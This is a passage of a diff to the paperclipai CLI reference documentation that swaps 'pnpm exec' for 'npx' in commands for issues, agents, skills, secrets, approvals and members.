+npx paperclipai issue recovery:resolve <issue-id> --outcome restored --source-issue-status todo
 ```
 
 ```sh
-pnpm exec paperclipai issue documents <issue-id> [--include-system]
-pnpm exec paperclipai issue document:get <issue-id> <key>
-pnpm exec paperclipai issue document:put <issue-id> <key> --body-file ./plan.md [--title Plan]
-pnpm exec paperclipai issue document:lock <issue-id> <key>
-pnpm exec paperclipai issue document:unlock <issue-id> <key>
-pnpm exec paperclipai issue document:revisions <issue-id> <key>
-pnpm exec paperclipai issue document:restore <issue-id> <key> <revision-id>
-pnpm exec paperclipai issue document:delete <issue-id> <key>
+npx paperclipai issue documents <issue-id> [--include-system]
+npx paperclipai issue document:get <issue-id> <key>
+npx paperclipai issue document:put <issue-id> <key> --body-file ./plan.md [--title Plan]
+npx paperclipai issue document:lock <issue-id> <key>
+npx paperclipai issue document:unlock <issue-id> <key>
+npx paperclipai issue document:revisions <issue-id> <key>
+npx paperclipai issue document:restore <issue-id> <key> <revision-id>
+npx paperclipai issue document:delete <issue-id> <key>
 ```
 
 ```sh
-pnpm exec paperclipai issue work-products <issue-id>
-pnpm exec paperclipai issue work-product:create <issue-id> --payload-json '{"type":"pull_request","provider":"github","title":"PR"}'
-pnpm exec paperclipai issue work-product:update <work-product-id> --payload-json '{"status":"archived"}'
-pnpm exec paperclipai issue work-product:delete <work-product-id>
-pnpm exec paperclipai issue interactions <issue-id>
-pnpm exec paperclipai issue interaction:create <issue-id> --payload-json '{"kind":"request_confirmation","payload":{"version":1,"prompt":"Continue?"}}'
-pnpm exec paperclipai issue interaction:accept <issue-id> <interaction-id> [--selected-client-keys key1,key2]
-pnpm exec paperclipai issue interaction:reject <issue-id> <interaction-id> [--reason "..."]
-pnpm exec paperclipai issue interaction:respond <issue-id> <interaction-id> --answers-json '[{"questionId":"q1","optionIds":["yes"]}]'
-pnpm exec paperclipai issue interaction:cancel <issue-id> <interaction-id> [--reason "..."]
+npx paperclipai issue work-products <issue-id>
+npx paperclipai issue work-product:create <issue-id> --payload-json '{"type":"pull_request","provider":"github","title":"PR"}'
+npx paperclipai issue work-product:update <work-product-id> --payload-json '{"status":"archived"}'
+npx paperclipai issue work-product:delete <work-product-id>
+npx paperclipai issue interactions <issue-id>
+npx paperclipai issue interaction:create <issue-id> --payload-json '{"kind":"request_confirmation","payload":{"version":1,"prompt":"Continue?"}}'
+npx paperclipai issue interaction:accept <issue-id> <interaction-id> [--selected-client-keys key1,key2]
+npx paperclipai issue interaction:reject <issue-id> <interaction-id> [--reason "..."]
+npx paperclipai issue interaction:respond <issue-id> <interaction-id> --answers-json '[{"questionId":"q1","optionIds":["yes"]}]'
+npx paperclipai issue interaction:cancel <issue-id> <interaction-id> [--reason "..."]
 ```
 
 ```sh
-pnpm exec paperclipai issue tree-state <issue-id>
-pnpm exec paperclipai issue tree-preview <issue-id> --payload-json '{"mode":"pause"}'
-pnpm exec paperclipai issue tree-holds <issue-id> [--status active] [--include-members]
-pnpm exec paperclipai issue tree-hold:create <issue-id> --payload-json '{"mode":"pause","reason":"review"}'
-pnpm exec paperclipai issue tree-hold:get <issue-id> <hold-id>
-pnpm exec paperclipai issue tree-hold:release <issue-id> <hold-id> [--payload-json '{"reason":"done"}']
-pnpm exec paperclipai issue attachments <issue-id>
-pnpm exec paperclipai issue attachment:upload <issue-id> --company-id <company-id> --file ./artifact.txt
-pnpm exec paperclipai issue attachment:download <attachment-id> [--out ./artifact.txt]
-pnpm exec paperclipai issue attachment:delete <attachment-id>
-pnpm exec paperclipai issue label:list --company-id <company-id>
-pnpm exec paperclipai issue label:create --company-id <company-id> --name bug --color '#ff0000'
-pnpm exec paperclipai issue label:delete <label-id>
-pnpm exec paperclipai issue feedback:votes <issue-id>
-pnpm exec paperclipai issue feedback:vote <issue-id> --payload-json '{"targetType":"issue_comment","targetId":"...","vote":"up"}'
+npx paperclipai issue tree-state <issue-id>
+npx paperclipai issue tree-preview <issue-id> --payload-json '{"mode":"pause"}'
+npx paperclipai issue tree-holds <issue-id> [--status active] [--include-members]
+npx paperclipai issue tree-hold:create <issue-id> --payload-json '{"mode":"pause","reason":"review"}'
+npx paperclipai issue tree-hold:get <issue-id> <hold-id>
+npx paperclipai issue tree-hold:release <issue-id> <hold-id> [--payload-json '{"reason":"done"}']
+npx paperclipai issue attachments <issue-id>
+npx paperclipai issue attachment:upload <issue-id> --company-id <company-id> --file ./artifact.txt
+npx paperclipai issue attachment:download <attachment-id> [--out ./artifact.txt]
+npx paperclipai issue attachment:delete <attachment-id>
+npx paperclipai issue label:list --company-id <company-id>
+npx paperclipai issue label:create --company-id <company-id> --name bug --color '#ff0000'
+npx paperclipai issue label:delete <label-id>
+npx paperclipai issue feedback:votes <issue-id>
+npx paperclipai issue feedback:vote <issue-id> --payload-json '{"targetType":"issue_comment","targetId":"...","vote":"up"}'
 ```
 
 ## Project Commands
 
 ```sh
-pnpm exec paperclipai project list --company-id <company-id>
-pnpm exec paperclipai project get <project-id-or-shortname> [--company-id <company-id>]
-pnpm exec paperclipai project create --company-id <company-id> --name "Launch Site" [--goal-ids <id1,id2>] [--lead-agent-id <id>]
-pnpm exec paperclipai project update <project-id-or-shortname> [--status in_progress] [--company-id <company-id>]
-pnpm exec paperclipai project delete <project-id-or-shortname> --yes [--company-id <company-id>]
+npx paperclipai project list --company-id <company-id>
+npx paperclipai project get <project-id-or-shortname> [--company-id <company-id>]
+npx paperclipai project create --company-id <company-id> --name "Launch Site" [--goal-ids <id1,id2>] [--lead-agent-id <id>]
+npx paperclipai project update <project-id-or-shortname> [--status in_progress] [--company-id <company-id>]
+npx paperclipai project delete <project-id-or-shortname> --yes [--company-id <company-id>]
 ```
 
 Advanced project fields accept JSON:
 
 ```sh
-pnpm exec paperclipai project create --company-id <company-id> --name "Ops" --env-json '{"OPENAI_API_KEY":{"kind":"secret","secretName":"openai-api-key"}}'
-pnpm exec paperclipai project update <project-id> --execution-workspace-policy-json '{"enabled":true,"defaultMode":"shared_workspace"}'
+npx paperclipai project create --company-id <company-id> --name "Ops" --env-json '{"OPENAI_API_KEY":{"kind":"secret","secretName":"openai-api-key"}}'
+npx paperclipai project update <project-id> --execution-workspace-policy-json '{"enabled":true,"defaultMode":"shared_workspace"}'
 ```
 
 ## Goal Commands
 
 ```sh
-pnpm exec paperclipai goal list --company-id <company-id>
-pnpm exec paperclipai goal get <goal-id>
-pnpm exec paperclipai goal create --company-id <company-id> --title "Grow revenue" [--level company] [--status active]
-pnpm exec paperclipai goal update <goal-id> [--title "..."] [--status achieved]
-pnpm exec paperclipai goal delete <goal-id> --yes
+npx paperclipai goal list --company-id <company-id>
+npx paperclipai goal get <goal-id>
+npx paperclipai goal create --company-id <company-id> --title "Grow revenue" [--level company] [--status active]
+npx paperclipai goal update <goal-id> [--title "..."] [--status achieved]
+npx paperclipai goal delete <goal-id> --yes
 ```
 
 ## Agent Commands
 
 ```sh
-pnpm exec paperclipai agent list --company-id <company-id>
-pnpm exec paperclipai agent get <agent-id>
-pnpm exec paperclipai agent create --company-id <company-id> --payload-json '{"name":"Builder","adapterType":"codex_local"}'
-pnpm exec paperclipai agent hire --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai agent update <agent-id> --payload-json '{"title":"Senior Builder"}'
-pnpm exec paperclipai agent delete <agent-id> --yes
-pnpm exec paperclipai agent me
-pnpm exec paperclipai agent inbox
-pnpm exec paperclipai agent inbox-mine --user-id <board-user-id>
-pnpm exec paperclipai agent wake <agent-id-or-shortname> [--company-id <company-id>] [--reason "..."] [--payload '{"issueId":"..."}']
-pnpm exec paperclipai agent pause <agent-id>
-pnpm exec paperclipai agent resume <agent-id>
-pnpm exec paperclipai agent approve <agent-id>
-pnpm exec paperclipai agent terminate <agent-id>
-pnpm exec paperclipai agent heartbeat:invoke <agent-id>
-pnpm exec paperclipai agent claude-login <agent-id>
-pnpm exec paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>
+npx paperclipai agent list --company-id <company-id>
+npx paperclipai agent get <agent-id>
+npx paperclipai agent create --company-id <company-id> --payload-json '{"name":"Builder","adapterType":"codex_local"}'
+npx paperclipai agent hire --company-id <company-id> --payload-json '{...}'
+npx paperclipai agent update <agent-id> --payload-json '{"title":"Senior Builder"}'
+npx paperclipai agent delete <agent-id> --yes
+npx paperclipai agent me
+npx paperclipai agent inbox
+npx paperclipai agent inbox-mine --user-id <board-user-id>
+npx paperclipai agent wake <agent-id-or-shortname> [--company-id <company-id>] [--reason "..."] [--payload '{"issueId":"..."}']
+npx paperclipai agent pause <agent-id>
+npx paperclipai agent resume <agent-id>
+npx paperclipai agent approve <agent-id>
+npx paperclipai agent terminate <agent-id>
+npx paperclipai agent heartbeat:invoke <agent-id>
+npx paperclipai agent claude-login <agent-id>
+npx paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>
 ```
 
 Agent configuration and runtime endpoints:
 
 ```sh
-pnpm exec paperclipai agent permissions:update <agent-id> --payload-json '{"canCreateAgents":true,"canCreateSkills":true,"canAssignTasks":true}'
-pnpm exec paperclipai agent configuration <agent-id>
-pnpm exec paperclipai agent config-revisions <agent-id>
-pnpm exec paperclipai agent config-revision:get <agent-id> <revision-id>
-pnpm exec paperclipai agent config-revision:rollback <agent-id> <revision-id>
-pnpm exec paperclipai agent runtime-state <agent-id>
-pnpm exec paperclipai agent runtime-state:reset-session <agent-id> [--task-key <key>]
-pnpm exec paperclipai agent task-sessions <agent-id>
-pnpm exec paperclipai agent skills <agent-id>
-pnpm exec paperclipai agent skills:sync <agent-id> --desired-skills paperclip,github --mode add
-pnpm exec paperclipai agent instructions-path:update <agent-id> --payload-json '{"path":"/path/to/AGENTS.md"}'
-pnpm exec paperclipai agent instructions-bundle <agent-id>
-pnpm exec paperclipai agent instructions-bundle:update <agent-id> --payload-json '{"mode":"managed"}'
-pnpm exec paperclipai agent instructions-file:get <agent-id> --path AGENTS.md
-pnpm exec paperclipai agent instructions-file:put <agent-id> --path AGENTS.md --content-file ./AGENTS.md
-pnpm exec paperclipai agent instructions-file:delete <agent-id> --path AGENTS.md
+npx paperclipai agent permissions:update <agent-id> --payload-json '{"canCreateAgents":true,"canCreateSkills":true,"canAssignTasks":true}'
+npx paperclipai agent configuration <agent-id>
+npx paperclipai agent config-revisions <agent-id>
+npx paperclipai agent config-revision:get <agent-id> <revision-id>
+npx paperclipai agent config-revision:rollback <agent-id> <revision-id>
+npx paperclipai agent runtime-state <agent-id>
+npx paperclipai agent runtime-state:reset-session <agent-id> [--task-key <key>]
+npx paperclipai agent task-sessions <agent-id>
+npx paperclipai agent skills <agent-id>
+npx paperclipai agent skills:sync <agent-id> --desired-skills paperclip,github --mode add
+npx paperclipai agent instructions-path:update <agent-id> --payload-json '{"path":"/path/to/AGENTS.md"}'
+npx paperclipai agent instructions-bundle <agent-id>
+npx paperclipai agent instructions-bundle:update <agent-id> --payload-json '{"mode":"managed"}'
+npx paperclipai agent instructions-file:get <agent-id> --path AGENTS.md
+npx paperclipai agent instructions-file:put <agent-id> --path AGENTS.md --content-file ./AGENTS.md
+npx paperclipai agent instructions-file:delete <agent-id> --path AGENTS.md
 ```
 
 Agent config, instructions, skills, project env, environment, secret, and workspace edits affect the next run. Active runs finish with the config they started with. When a saved session, reused workspace, or sandbox lease no longer matches the effective next-run config, Paperclip may start fresh execution and records non-sensitive freshness categories in run result JSON and workspace operation logs.
@@ -435,8 +494,8 @@ Agent config, instructions, skills, project env, environment, secret, and worksp
 Example for shortname-based local setup:
 
 ```sh
-pnpm exec paperclipai agent local-cli codexcoder --company-id <company-id>
-pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
+npx paperclipai agent local-cli codexcoder --company-id <company-id>
+npx paperclipai agent local-cli claudecoder --company-id <company-id>
 ```
 
 ## Token Commands
@@ -444,18 +503,18 @@ pnpm exec paperclipai agent local-cli claudecoder --company-id <company-id>
 Agent API keys are scoped to one company and one agent. Plaintext tokens are printed once at creation.
 
 ```sh
-pnpm exec paperclipai token agent create --company-id <company-id> --agent <agent-id-or-name> --name external-worker
-pnpm exec paperclipai token agent list --company-id <company-id> --agent <agent-id-or-name>
-pnpm exec paperclipai token agent revoke --company-id <company-id> --agent <agent-id-or-name> <key-id>
+npx paperclipai token agent create --company-id <company-id> --agent <agent-id-or-name> --name external-worker
+npx paperclipai token agent list --company-id <company-id> --agent <agent-id-or-name>
+npx paperclipai token agent revoke --company-id <company-id> --agent <agent-id-or-name> <key-id>
 ```
 
 Named board API keys use the board authorization model, support revocation and expiration metadata, and are audited server-side.
 
 ```sh
-pnpm exec paperclipai token board create --company-id <company-id> --name external-admin
-pnpm exec paperclipai token board create --name short-lived --ttl-days 7
-pnpm exec paperclipai token board list
-pnpm exec paperclipai token board revoke <key-id>
+npx paperclipai token board create --company-id <company-id> --name external-admin
+npx paperclipai token board create --name short-lived --ttl-days 7
+npx paperclipai token board list
+npx paperclipai token board revoke <key-id>
 ```
 
 ## Run Commands
@@ -463,16 +522,16 @@ pnpm exec paperclipai token board revoke <key-id>
 `paperclipai run` without a subcommand still bootstraps and starts a local Paperclip instance. The subcommands below inspect and control API heartbeat runs.
 
 ```sh
-pnpm exec paperclipai run list --company-id <company-id> [--agent-id <agent-id>] [--limit 50]
-pnpm exec paperclipai run live --company-id <company-id> [--limit 50] [--min-count 0]
-pnpm exec paperclipai run get <run-id>
-pnpm exec paperclipai run events <run-id> [--after-seq 0] [--limit 200]
-pnpm exec paperclipai run log <run-id> [--offset 0] [--limit-bytes 16384] [--text]
-pnpm exec paperclipai run cancel <run-id>
-pnpm exec paperclipai run issues <run-id>
-pnpm exec paperclipai run workspace-operations <run-id>
-pnpm exec paperclipai run workspace-log <operation-id> [--offset 0] [--limit-bytes 16384] [--text]
-pnpm exec paperclipai run watchdog-decision <run-id> --decision continue [--reason "..."]
+npx paperclipai run list --company-id <company-id> [--agent-id <agent-id>] [--limit 50]
+npx paperclipai run live --company-id <company-id> [--limit 50] [--min-count 0]
+npx paperclipai run get <run-id>
+npx paperclipai run events <run-id> [--after-seq 0] [--limit 200]
+npx paperclipai run log <run-id> [--offset 0] [--limit-bytes 16384] [--text]
+npx paperclipai run cancel <run-id>
+npx paperclipai run issues <run-id>
+npx paperclipai run workspace-operations <run-id>
+npx paperclipai run workspace-log <operation-id> [--offset 0] [--limit-bytes 16384] [--text]
+npx paperclipai run watchdog-decision <run-id> --decision continue [--reason "..."]
 ```
 
 ## Routine Commands
@@ -480,19 +539,19 @@ pnpm exec paperclipai run watchdog-decision <run-id> --decision continue [--reas
 `paperclipai routines disable-all` remains the local maintenance command. The singular `routine` group maps to the REST API.
 
 ```sh
-pnpm exec paperclipai routine list --company-id <company-id> [--project-id <project-id>]
-pnpm exec paperclipai routine create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai routine get <routine-id>
-pnpm exec paperclipai routine update <routine-id> --payload-json '{...}'
-pnpm exec paperclipai routine revisions <routine-id>
-pnpm exec paperclipai routine revision:restore <routine-id> <revision-id>
-pnpm exec paperclipai routine runs <routine-id> [--limit 50]
-pnpm exec paperclipai routine run <routine-id> [--payload-json '{...}']
-pnpm exec paperclipai routine trigger:create <routine-id> --payload-json '{...}'
-pnpm exec paperclipai routine trigger:update <trigger-id> --payload-json '{...}'
-pnpm exec paperclipai routine trigger:delete <trigger-id>
-pnpm exec paperclipai routine trigger:rotate-secret <trigger-id>
-pnpm exec paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
+npx paperclipai routine list --company-id <company-id> [--project-id <project-id>]
+npx paperclipai routine create --company-id <company-id> --payload-json '{...}'
+npx paperclipai routine get <routine-id>
+npx paperclipai routine update <routine-id> --payload-json '{...}'
+npx paperclipai routine revisions <routine-id>
+npx paperclipai routine revision:restore <routine-id> <revision-id>
+npx paperclipai routine runs <routine-id> [--limit 50]
+npx paperclipai routine run <routine-id> [--payload-json '{...}']
+npx paperclipai routine trigger:create <routine-id> --payload-json '{...}'
+npx paperclipai routine trigger:update <trigger-id> --payload-json '{...}'
+npx paperclipai routine trigger:delete <trigger-id>
+npx paperclipai routine trigger:rotate-secret <trigger-id>
+npx paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
 ```
 
 ## Prompt Handoff
@@ -500,10 +559,10 @@ pnpm exec paperclipai routine trigger:fire <public-id> [--payload-json '{...}']
 Prompt handoff creates Paperclip work. It does not create a chat session.
 
 ```sh
-pnpm exec paperclipai agent-prompt <agent-name-or-id> <agent-api-key> "Prompt here"
-pnpm exec paperclipai agent prompt --agent <agent-name-or-id> --api-key-env PAPERCLIP_API_KEY "Prompt here"
-pnpm exec paperclipai agent prompt --profile my-agent "Prompt here"
-pnpm exec paperclipai board prompt --company-id <company-id> --agent <agent-name-or-id> "Prompt here"
+npx paperclipai agent-prompt <agent-name-or-id> <agent-api-key> "Prompt here"
+npx paperclipai agent prompt --agent <agent-name-or-id> --api-key-env PAPERCLIP_API_KEY "Prompt here"
+npx paperclipai agent prompt --profile my-agent "Prompt here"
+npx paperclipai board prompt --company-id <company-id> --agent <agent-name-or-id> "Prompt here"
 ```
 
 By default the command creates a `todo` issue assigned to the target agent and wakes the agent. Use `--issue <issue-id>` to add a comment to existing work, and `--no-wake` to skip the wakeup.
@@ -540,10 +599,10 @@ Browse and inspect commands never mutate company state; `install` adds a catalog
 skill to the company library.
 
 ```sh
-pnpm exec paperclipai skills browse [--kind bundled|optional] [--category <slug>] [--query <text>]
-pnpm exec paperclipai skills search "<text>" [--kind bundled|optional] [--category <slug>]
-pnpm exec paperclipai skills inspect <catalog-id-or-key-or-slug>
-pnpm exec paperclipai skills install <catalog-id-or-key-or-slug> [--as <slug>] [--force] --company-id <company-id>
+npx paperclipai skills browse [--kind bundled|optional] [--category <slug>] [--query <text>]
+npx paperclipai skills search "<text>" [--kind bundled|optional] [--category <slug>]
+npx paperclipai skills inspect <catalog-id-or-key-or-slug>
+npx paperclipai skills install <catalog-id-or-key-or-slug> [--as <slug>] [--force] --company-id <company-id>
 ```
 
 Catalog semantics:
@@ -564,11 +623,11 @@ Catalog semantics:
 Examples:
 
 ```sh
-pnpm exec paperclipai skills browse --kind bundled --company-id <company-id>
-pnpm exec paperclipai skills search "pull request" --kind bundled
-pnpm exec paperclipai skills inspect github-pr-workflow
-pnpm exec paperclipai skills install github-pr-workflow --company-id <company-id>
-pnpm exec paperclipai skills install paperclipai:optional:browser:agent-browser --company-id <company-id>
+npx paperclipai skills browse --kind bundled --company-id <company-id>
+npx paperclipai skills search "pull request" --kind bundled
+npx paperclipai skills inspect github-pr-workflow
+npx paperclipai skills install github-pr-workflow --company-id <company-id>
+npx paperclipai skills install paperclipai:optional:browser:agent-browser --company-id <company-id>
 ```
 
 External GitHub, skills.sh, local-path, and URL sources still go through
@@ -577,18 +636,18 @@ External GitHub, skills.sh, local-path, and URL sources still go through
 ### Company library
 
 ```sh
-pnpm exec paperclipai skills list --company-id <company-id>
-pnpm exec paperclipai skills show <skill-id-or-key-or-slug> --company-id <company-id>
-pnpm exec paperclipai skills file <skill-id-or-key-or-slug> [--path SKILL.md] --company-id <company-id>
-pnpm exec paperclipai skills import <source> --company-id <company-id>
-pnpm exec paperclipai skills create --name "Review PRs" [--slug review-prs] [--description "..."] [--body-file SKILL.md] --company-id <company-id>
-pnpm exec paperclipai skills scan-projects [--project-id <id>...] [--workspace-id <id>...] --company-id <company-id>
-pnpm exec paperclipai skills check [skill-id-or-key-or-slug] --company-id <company-id>
-pnpm exec paperclipai skills update <skill-id-or-key-or-slug> [--force] --company-id <company-id>
-pnpm exec paperclipai skills update --all [--force] --company-id <company-id>
-pnpm exec paperclipai skills audit [skill-id-or-key-or-slug] --company-id <company-id>
-pnpm exec paperclipai skills reset <skill-id-or-key-or-slug> [--yes] [--force] --company-id <company-id>
-pnpm exec paperclipai skills remove <skill-id-or-key-or-slug> --yes --company-id <company-id>
+npx paperclipai skills list --company-id <company-id>
+npx paperclipai skills show <skill-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai skills file <skill-id-or-key-or-slug> [--path SKILL.md] --company-id <company-id>
+npx paperclipai skills import <source> --company-id <company-id>
+npx paperclipai skills create --name "Review PRs" [--slug review-prs] [--description "..."] [--body-file SKILL.md] --company-id <company-id>
+npx paperclipai skills scan-projects [--project-id <id>...] [--workspace-id <id>...] --company-id <company-id>
+npx paperclipai skills check [skill-id-or-key-or-slug] --company-id <company-id>
+npx paperclipai skills update <skill-id-or-key-or-slug> [--force] --company-id <company-id>
+npx paperclipai skills update --all [--force] --company-id <company-id>
+npx paperclipai skills audit [skill-id-or-key-or-slug] --company-id <company-id>
+npx paperclipai skills reset <skill-id-or-key-or-slug> [--yes] [--force] --company-id <company-id>
+npx paperclipai skills remove <skill-id-or-key-or-slug> --yes --company-id <company-id>
 ```
 
 `skills import <source>` accepts a skills.sh URL, the equivalent
@@ -614,9 +673,9 @@ maintenance loop for catalog-installed skills:
 ### Agent attach
 
 ```sh
-pnpm exec paperclipai skills agent list <agent-id-or-shortname> --company-id <company-id>
-pnpm exec paperclipai skills agent sync <agent-id-or-shortname> --skill <skill-id-or-key-or-slug> [--skill <skill-id-or-key-or-slug>...] --mode <add|remove|replace> --company-id <company-id>
-pnpm exec paperclipai skills agent clear <agent-id-or-shortname> --yes --company-id <company-id>
+npx paperclipai skills agent list <agent-id-or-shortname> --company-id <company-id>
+npx paperclipai skills agent sync <agent-id-or-shortname> --skill <skill-id-or-key-or-slug> [--skill <skill-id-or-key-or-slug>...] --mode <add|remove|replace> --company-id <company-id>
+npx paperclipai skills agent clear <agent-id-or-shortname> --yes --company-id <company-id>
 ```
 
 `skills agent sync` requires a merge mode and returns the resulting adapter
@@ -644,11 +703,11 @@ change company state. `preview` runs the company import planner, and `install`
 imports the catalog team into an existing company.
 
 ```sh
-pnpm exec paperclipai teams browse [--kind bundled|optional] [--category <slug>] [--query <text>]
-pnpm exec paperclipai teams search "<text>" [--kind bundled|optional] [--category <slug>]
-pnpm exec paperclipai teams inspect <catalog-id-or-key-or-slug> [--file TEAM.md]
-pnpm exec paperclipai teams preview <catalog-id-or-key-or-slug> --company-id <company-id>
-pnpm exec paperclipai teams install <catalog-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai teams browse [--kind bundled|optional] [--category <slug>] [--query <text>]
+npx paperclipai teams search "<text>" [--kind bundled|optional] [--category <slug>]
+npx paperclipai teams inspect <catalog-id-or-key-or-slug> [--file TEAM.md]
+npx paperclipai teams preview <catalog-id-or-key-or-slug> --company-id <company-id>
+npx paperclipai teams install <catalog-id-or-key-or-slug> --company-id <company-id>
 ```
 
 Preview/install options:
@@ -676,22 +735,22 @@ Preview/install options:
 ## Secrets Commands
 
 ```sh
-pnpm exec paperclipai secrets list --company-id <company-id>
-pnpm exec paperclipai secrets declarations --company-id <company-id> [--include agents,projects] [--kind secret]
-pnpm exec paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
-pnpm exec paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
-pnpm exec paperclipai secrets doctor --company-id <company-id>
-pnpm exec paperclipai secrets provider-configs --company-id <company-id>
-pnpm exec paperclipai secrets provider-config:create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:discovery-preview --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:get <config-id>
-pnpm exec paperclipai secrets provider-config:update <config-id> --payload-json '{...}'
-pnpm exec paperclipai secrets provider-config:default <config-id>
-pnpm exec paperclipai secrets provider-config:health <config-id>
-pnpm exec paperclipai secrets provider-config:delete <config-id>
-pnpm exec paperclipai secrets remote-import:preview --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets remote-import --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> [--apply]
+npx paperclipai secrets list --company-id <company-id>
+npx paperclipai secrets declarations --company-id <company-id> [--include agents,projects] [--kind secret]
+npx paperclipai secrets create --company-id <company-id> --name anthropic-api-key --value-env ANTHROPIC_API_KEY
+npx paperclipai secrets link --company-id <company-id> --name prod-stripe-key --provider aws_secrets_manager --external-ref <provider-ref>
+npx paperclipai secrets doctor --company-id <company-id>
+npx paperclipai secrets provider-configs --company-id <company-id>
+npx paperclipai secrets provider-config:create --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:discovery-preview --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:get <config-id>
+npx paperclipai secrets provider-config:update <config-id> --payload-json '{...}'
+npx paperclipai secrets provider-config:default <config-id>
+npx paperclipai secrets provider-config:health <config-id>
+npx paperclipai secrets provider-config:delete <config-id>
+npx paperclipai secrets remote-import:preview --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets remote-import --company-id <company-id> --payload-json '{...}'
+npx paperclipai secrets migrate-inline-env --company-id <company-id> [--apply]
 ```
 
 Secret listing and declarations never print secret values. `create` accepts
@@ -711,78 +770,78 @@ commands above. See the
 ## Approval Commands
 
 ```sh
-pnpm exec paperclipai approval list --company-id <company-id> [--status pending]
-pnpm exec paperclipai approval get <approval-id>
-pnpm exec paperclipai approval create --company-id <company-id> --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
-pnpm exec paperclipai approval approve <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval reject <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval request-revision <approval-id> [--decision-note "..."]
-pnpm exec paperclipai approval resubmit <approval-id> [--payload '{"...":"..."}']
-pnpm exec paperclipai approval comment <approval-id> --body "..."
+npx paperclipai approval list --company-id <company-id> [--status pending]
+npx paperclipai approval get <approval-id>
+npx paperclipai approval create --company-id <company-id> --type hire_agent --payload '{"name":"..."}' [--issue-ids <id1,id2>]
+npx paperclipai approval approve <approval-id> [--decision-note "..."]
+npx paperclipai approval reject <approval-id> [--decision-note "..."]
+npx paperclipai approval request-revision <approval-id> [--decision-note "..."]
+npx paperclipai approval resubmit <approval-id> [--payload '{"...":"..."}']
+npx paperclipai approval comment <approval-id> --body "..."
 ```
 
 ## Activity Commands
 
 ```sh
-pnpm exec paperclipai activity list --company-id <company-id> [--agent-id <agent-id>] [--entity-type issue] [--entity-id <id>]
-pnpm exec paperclipai activity create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai activity issue <issue-id>
+npx paperclipai activity list --company-id <company-id> [--agent-id <agent-id>] [--entity-type issue] [--entity-id <id>]
+npx paperclipai activity create --company-id <company-id> --payload-json '{...}'
+npx paperclipai activity issue <issue-id>
 ```
 
 ## Dashboard Commands
 
 ```sh
-pnpm exec paperclipai dashboard get --company-id <company-id>
+npx paperclipai dashboard get --company-id <company-id>
 ```
 
 ## Org And Agent Config Commands
 
 ```sh
-pnpm exec paperclipai whoami
-pnpm exec paperclipai openapi
-pnpm exec paperclipai org get --company-id <company-id>
-pnpm exec paperclipai org svg --company-id <company-id> [--out org.svg]
-pnpm exec paperclipai org png --company-id <company-id> [--out org.png]
-pnpm exec paperclipai agent-config list --company-id <company-id>
+npx paperclipai whoami
+npx paperclipai openapi
+npx paperclipai org get --company-id <company-id>
+npx paperclipai org svg --company-id <company-id> [--out org.svg]
+npx paperclipai org png --company-id <company-id> [--out org.png]
+npx paperclipai agent-config list --company-id <company-id>
 ```
 
 ## Access, Profile, And Instance Commands
 
 ```sh
-pnpm exec paperclipai profile session
-pnpm exec paperclipai profile get
-pnpm exec paperclipai profile update --payload-json '{...}'
-pnpm exec paperclipai profile company-user <user-slug> --company-id <company-id>
-pnpm exec paperclipai invite list --company-id <company-id>
-pnpm exec paperclipai invite create --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai invite revoke <invite-id>
-pnpm exec paperclipai invite show <token>
-pnpm exec paperclipai invite accept <token> [--payload-json '{...}']
-pnpm exec paperclipai invite onboarding:text <token>
-pnpm exec paperclipai join list --company-id <company-id> [--status pending_approval]
-pnpm exec paperclipai join approve <request-id> --company-id <company-id>
-pnpm exec paperclipai join reject <request-id> --company-id <company-id>
-pnpm exec paperclipai join claim-key <request-id> --claim-secret <secret>
-pnpm exec paperclipai member list --company-id <company-id>
-pnpm exec paperclipai member update <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member role-and-grants <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member permissions <member-id> --company-id <company-id> --payload-json '{...}'
-pnpm exec paperclipai member archive <member-id> --company-id <company-id> [--payload-json '{...}']
-pnpm exec paperclipai admin user list [--query <text>]
-pnpm exec paperclipai admin user promote <user-id>
-pnpm exec paperclipai admin user demote <user-id>
-pnpm exec paperclipai admin user company-access <user-id>
-pnpm exec paperclipai admin user company-access:update <user-id> --payload-json '{...}'
+npx paperclipai profile session
+npx paperclipai profile get
+npx paperclipai profile update --payload-json '{...}'
+npx paperclipai profile company-user <user-slug> --company-id <company-id>
+npx paperclipai invite list --company-id <company-id>
+npx paperclipai invite create --company-id <company-id> --payload-json '{...}'
+npx paperclipai invite revoke <invite-id>
+npx paperclipai invite show <token>
+npx paperclipai invite accept <token> [--payload-json '{...}']
+npx paperclipai invite onboarding:text <token>
+npx paperclipai join list --company-id <company-id> [--status pending_approval]
+npx paperclipai join approve <request-id> --company-id <company-id>
+npx paperclipai join reject <request-id> --company-id <company-id>
+npx paperclipai join claim-key <request-id> --claim-secret <secret>
+npx paperclipai member list --company-id <company-id>
+npx paperclipai member update <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member role-and-grants <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member permissions <member-id> --company-id <company-id> --payload-json '{...}'
+npx paperclipai member archive <member-id> --company-id <company-id> [--payload-json '{...}']
